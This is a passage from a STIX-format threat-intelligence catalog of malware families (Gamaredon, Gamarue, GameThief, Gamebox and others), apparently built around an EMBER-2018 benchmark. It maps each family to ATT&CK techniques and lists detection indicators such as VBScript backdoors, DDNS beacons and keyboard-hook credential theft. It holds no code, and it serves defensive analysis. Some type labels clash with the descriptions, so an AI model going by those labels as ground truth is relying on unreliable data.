      "description": "Trojan:Win32/Fz4aaueo2jhi (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Fz4aaueo2jhi' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fz4Aaueo2Jhi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fz4aaueo2jhi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3e2d5cc-3c89-53ee-b8bd-11863016b78e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b1fb16d-86ca-5154-8ac2-f9bba2834f54",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fz4Aaueo2Jhi exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a60b7745-9e73-501d-bf84-72a06d0a5e98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b1fb16d-86ca-5154-8ac2-f9bba2834f54",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fz4Aaueo2Jhi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--257a39aa-86a8-532e-b014-164c74907c5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b1fb16d-86ca-5154-8ac2-f9bba2834f54",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fz4Aaueo2Jhi exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be481ef1-a7ab-5947-974f-c9dce764b78a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamania",
      "description": "PWS:Win32/Gamania is a specialized Password Stealer (PWS) trojan explicitly designed to target and harvest credentials associated with online gaming accounts, particularly those related to the Asian gaming portal Gamania, as well as other popular MMORPGs and digital distribution platforms.<br><br><b>Understanding Gamania (Gaming Credential Stealers)</b><br>To an end-user, a Gamania infection might seem invisible, only becoming apparent when they find themselves locked out of their gaming accounts or discover their in-game assets have been transferred. For a security analyst, while this malware targets consumer accounts rather than enterprise data, its presence on a corporate network indicates a severe violation of acceptable use policies and a potential vector for secondary, more damaging payloads, as the initial infection vector was successful.<br><br><b>Execution and Credential Harvesting Mechanics</b><br>Gamania is typically distributed via phishing links on gaming forums, disguised as 'cheats,' 'hacks,' 'bots,' or fake game updates (`T1204.002`). Upon execution, the trojan establishes persistence by modifying the Registry Run keys or dropping a shortcut in the Startup folder (`T1547.001`). Its primary function is to monitor running processes. When it detects a targeted game client or gaming portal launching, it uses API hooking (like `SetWindowsHookEx`) to intercept keystrokes (`T1056.001`) specifically within that application's context, or it searches the registry and specific file paths for stored session tokens and saved passwords (`T1555.003`). The stolen credentials are then packaged and exfiltrated to an attacker-controlled server, often via simple HTTP POST requests or SMTP email.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the loss of gaming accounts and virtual assets, which can have real-world financial value. Host-based IoCs include the presence of anomalous executables in the `%AppData%` or `%Temp%` directories, EDR alerts for keylogging activity or unauthorized access to browser credential stores, and unexpected outbound network traffic to known gaming-malware drop zones. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamania",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamania"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--156e5fea-88e7-56f1-83b4-92ccd7c516f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be481ef1-a7ab-5947-974f-c9dce764b78a",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamania exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (Targeting gaming portals))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49c1bf7b-362f-5747-8cec-bf09a2017923",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be481ef1-a7ab-5947-974f-c9dce764b78a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamania exhibits technique T1056.001 (Input Capture: Keylogging (Targeting game clients))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba79c121-c75a-58af-9287-cd0b17b05abb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be481ef1-a7ab-5947-974f-c9dce764b78a",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamania exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Sending logs via email/HTTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2deb1d47-a20a-5db5-89bf-941ae6d4fe28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be481ef1-a7ab-5947-974f-c9dce764b78a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamania exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4347fbf0-841a-5851-b94e-ce9addbaea4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamaredon",
      "description": "Trojan:Win32/Gamaredon (also tracked as Actinium, Shuckworm, or Primitive Bear) represents the malware ecosystem of a highly active Advanced Persistent Threat (APT) group explicitly linked to the Russian Federal Security Service (FSB). Unlike many APTs that prioritize deep stealth, Gamaredon is characterized by its loud, massive, and rapid spearphishing campaigns. They primarily target Ukrainian government, military, and law enforcement entities, using custom, heavily obfuscated VBScript and PowerShell backdoors to maintain access and exfiltrate data (`T1059.005`).<br><br><b>Understanding Gamaredon (Russian State-Sponsored APT)</b><br>To an end-user, the infection begins with a highly convincing, politically or militarily themed lure document. For threat intelligence analysts, Gamaredon is a fascinating study in 'quantity over quality' espionage. While their tools are technically simple compared to other state actors, they update them constantly (polymorphism) to evade detection and rely on sheer volume to ensure some infections succeed.<br><br><b>Execution and Espionage Mechanics</b><br>Infections typically start with spearphishing emails containing malicious Word documents (macro-enabled) or ZIP files containing LNK shortcuts (`T1566.001`). Upon execution, these staging mechanisms drop heavily obfuscated VBScript (`T1059.005`) into the `%AppData%` or `%Temp%` directories. Persistence is almost always achieved via Scheduled Tasks (`T1053.005`) or Startup folder manipulation. The core VBScript backdoors (often referred to as 'Ptero' variants) are designed to map local networks, steal files (specifically targeting `.doc`, `.xls`, and `.pdf`), and rapidly spread to USB drives (`T1091`) to jump air-gapped networks. Gamaredon frequently uses dynamic DNS (DDNS) providers or hijacked domains for C2 infrastructure.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe state-sponsored espionage and data theft. Host-based IoCs include EDR alerts for `wscript.exe` or `cscript.exe` executing highly obfuscated VBScripts from user directories, the creation of suspicious scheduled tasks (often with randomized names), and macro execution from Office applications (`winword.exe` spawning `cmd.exe`). Network IoCs involve HTTP/HTTPS beacons containing base64 encoded system information sent to DDNS domains (e.g., `.ddns.net`, `.hopto.org`). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamaredon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamaredon"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a027ab4b-850e-5a6d-b63a-c991c4cd3cc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4347fbf0-841a-5851-b94e-ce9addbaea4d",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamaredon exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (Extensive use of VBScript for backdoors))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddb9b920-5902-5645-bbaa-b98061567ada",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4347fbf0-841a-5851-b94e-ce9addbaea4d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamaredon exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary delivery mechanism via weaponized documents))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--427298a5-7cbf-5656-95f0-4c779bb4ba19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4347fbf0-841a-5851-b94e-ce9addbaea4d",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamaredon exhibits technique T1091 (Replication Through Removable Media (Spreading via USB drives to infect air-gapped systems))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--891d0322-59f4-5fea-b2b1-066804995ded",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4347fbf0-841a-5851-b94e-ce9addbaea4d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamaredon exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Primary persistence mechanism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamarue",
      "description": "Gamarue (widely tracked by security vendors as Andromeda or Wauchos) is one of the most prolific and technically sophisticated modular botnet loaders in the history of cybercrime. First marketed on Russian-language underground forums in September 2011 for roughly $1,500, Gamarue functioned as a premier distribution backbone for international cybercrime syndicates, responsible for deploying banking trojans (such as Ursnif and Citadel), spambots, click-fraud kits, and ransomware across millions of consumer and enterprise endpoints.\n\nThe malware is engineered in C with an extraordinarily compact core payload (< 30 KB) designed to evade behavioral sandboxes through rigorous anti-analysis routines. Gamarue checks for VMware, VirtualBox, and QEMU artifacts, verifies volume serial numbers, detects user-mode API hooking, and uses custom API hashing to resolve system functions dynamically. Upon establishing persistence, the modular architecture allowed operators to deploy specialized plugins: a formgrabber for browser credential theft, a rootkit for kernel-level concealment, a Socks4/5 proxy module for traffic relaying, and a TeamViewer reverse proxy module for unauthorized remote desktop control.\n\nIn December 2017, an unprecedented multinational law enforcement operation led by the FBI, Europol's European Cybercrime Centre (EC3), the Joint Cybercrime Action Taskforce (J-CAT), the Luneburg Police in Germany, and Microsoft dismantled the global Andromeda infrastructure. The operation sinkholed approximately 1,500 command-and-control domains, intercepted telemetry from over 1.1 million infected computers per month across 223 countries, and led to the arrest of a key syndicate operative in Belarus. (Observed samples in benchmark: 2,789)",
      "is_family": true,
      "malware_types": [
        "downloader",
        "dropper"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Andromeda",
        "Wauchos",
        "Gamarue"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gamarue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gamarue"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "US-CERT Alert TA17-339A (Andromeda / Gamarue Malware Disruption)"
        }
      ],
      "labels": [
        "loader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d77e3763-59c1-535f-b1b6-88b822378775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbe961d3-3122-524f-87e9-badbb28e3310",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1140 (Deobfuscate/Decode Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e63ac89b-bc8c-5cb4-ab57-469059cc30ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77bae58a-a60c-5edb-b778-5fa61a6c2d3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0649b171-812d-5dee-8a43-8ffa2b28239a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc48a9cf-be58-50ff-aec6-e8691478bb8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae4806c8-19c1-551f-b9de-428d518efc7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc58b0e1-bca3-5422-b181-e127c48936e8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gamarue exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Game",
      "description": "Trojan:Win32/GameThief (frequently cataloged in security telemetry as Trojan.Game, Win32/Game, or Trojan-PSW.Win32.Game) is a specialized class of password-stealing trojans engineered specifically to hijack online gaming accounts, digital asset inventories, and platform authentication tokens. Operating primarily across popular gaming ecosystems including Steam, Blizzard Battle.net, Electronic Arts, and MMORPG titles like World of Warcraft and Lineage, GameThief monitors running processes for target game binaries. Once active, the trojan installs low-level keyboard hooks (via SetWindowsHookEx) to log keystrokes entered into login dialogs, reads memory buffers of target processes to extract session credentials, and inspects local credential stores. Harvested credentials, virtual inventory details, and session cookies are packaged and exfiltrated to threat actor command-and-control servers via encrypted HTTP POST or FTP channels, enabling secondary monetisation on dark web illicit credential markets. (Observed samples in benchmark: 144)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Game",
        "Trojan:Win32/GameThief",
        "Win32/GameThief",
        "Trojan-PSW.Win32.Game",
        "Trojan.Game",
        "GameThief Stealer",
        "Trojan-GameThief.Win32.Game"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Game",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/game"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30b30d9a-eeb3-5601-8f81-f108099f6790",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Game exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c7d2cdf-c2f0-5df8-84fa-258e890e7576",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Game exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eecba459-8ba5-50db-ae4b-e3f87ac8e3d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Game exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b51535c-1f36-5aae-b53e-93e9b8eb1f87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Game exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ce63fe5-f4f5-5f4b-903c-55f92061566f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c31be48a-db5e-5dd2-8d94-21813b91acd8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Game exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--88a2cbf1-7d36-5c1a-89cf-3e4ee336bc85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gameapp",
      "description": "<h3>Executive Summary</h3>\nGameApp is a Potentially Unwanted Program (PUP) that straddles the line between adware and deceptive grayware. Often marketed as a free gaming portal, game optimizer, or library of casual games, it aggressively monetizes the user's system through intrusive advertising, unwanted toolbars, and background telemetry collection.\n\n<h3>Technical Behavior and Distribution</h3>\nGameApp relies heavily on deceptive marketing and software bundling for its distribution. It frequently targets younger demographics or casual gamers, appearing as bundled software on free game download sites or as pop-up advertisements offering \"free\" performance boosts for gaming.\n\nOnce installed, the application rarely delivers on its advertised functionality. Instead, it embeds itself within the system to maximize ad exposure. GameApp's typical behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Installing toolbars and extensions that alter the default search engine and homepage to domains controlled by the adware developers.</li>\n<li><strong>Intrusive Advertising:</strong> Displaying persistent pop-up ads, interstitial ads, and injecting sponsored links into legitimate web pages, regardless of the browser in use.</li>\n<li><strong>Background Telemetry:</strong> Silently monitoring browsing habits, application usage, and system specifications, transmitting this data to third-party marketing servers.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile GameApp is generally not destructive (it does not encrypt files or steal banking credentials), it severely impacts system usability. The constant rendering of advertisements and background network activity causes noticeable performance degradation, latency, and browser instability. Furthermore, the ads served by such platforms often lead to tech support scams or direct malware downloads.\n\n<h3>Remediation and Defense</h3>\n<ul>\n<li><strong>Application Removal:</strong> GameApp can often be uninstalled via the standard Windows \"Apps & Features\" menu. However, automated uninstallation frequently leaves behind orphaned registry keys and browser extensions.</li>\n<li><strong>Comprehensive Cleanup:</strong> Following uninstallation, use a reputable EPP/anti-malware tool to perform a deep scan to remove residual adware components and reset compromised browser settings.</li>\n<li><strong>Security Awareness:</strong> Educate users, particularly within BYOD (Bring Your Own Device) environments, on the risks of downloading \"free\" game optimizers or portals from unverified sources.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.GameApp",
        "Adware.GameApp",
        "Riskware.GameApp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gameapp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gameapp"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75d025dc-9906-528e-93ce-662d87ca4e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88a2cbf1-7d36-5c1a-89cf-3e4ee336bc85",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameapp exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6647ebf1-b0e3-5ba4-a1b9-8bc1483d9a0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88a2cbf1-7d36-5c1a-89cf-3e4ee336bc85",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameapp exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d52e4e88-0f84-5c29-a335-6452a626e813",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--88a2cbf1-7d36-5c1a-89cf-3e4ee336bc85",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gameapp exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed370dd8-4e3b-5a7f-81fe-ac271629bce7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gamebox",
      "description": "Adware:Win32/Gamebox is an adware application typically disguised as a legitimate gaming portal, cheat utility, or free game downloading software. While it may provide some rudimentary gaming functionality to maintain the deception, its actual purpose is to aggressively monetize the user's system by injecting unwanted advertisements into web browsers, hijacking search queries, and tracking browsing behavior.<br><br><b>Understanding Gamebox (Gaming Adware)</b><br>To an end-user (often younger users or gamers looking for free content), Gamebox seems like a useful application. However, it quickly degrades the system's performance and fills the browser with intrusive pop-ups, often leading to potentially unsafe websites. For a network administrator, it represents a risk of drive-by downloads and a violation of acceptable use policies.<br><br><b>Execution and Injection Mechanics</b><br>Gamebox is typically distributed via deceptive software bundles, fake 'game cracks,' or aggressive advertising on gaming forums (`T1189`). When installed (`T1204.002`), it establishes deep persistence, often adding itself to the Windows Registry Run keys or creating Scheduled Tasks (`T1547.001`). Its primary malicious activity involves installing persistent browser extensions or modifying browser shortcut properties to ensure it loads whenever the browser is launched (`T1176`). It then intercepts web traffic locally to inject its own sponsored links and banner ads directly into the DOM of legitimate websites the user is visiting (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience and potential exposure to malvertising. Host-based IoCs include EDR alerts for 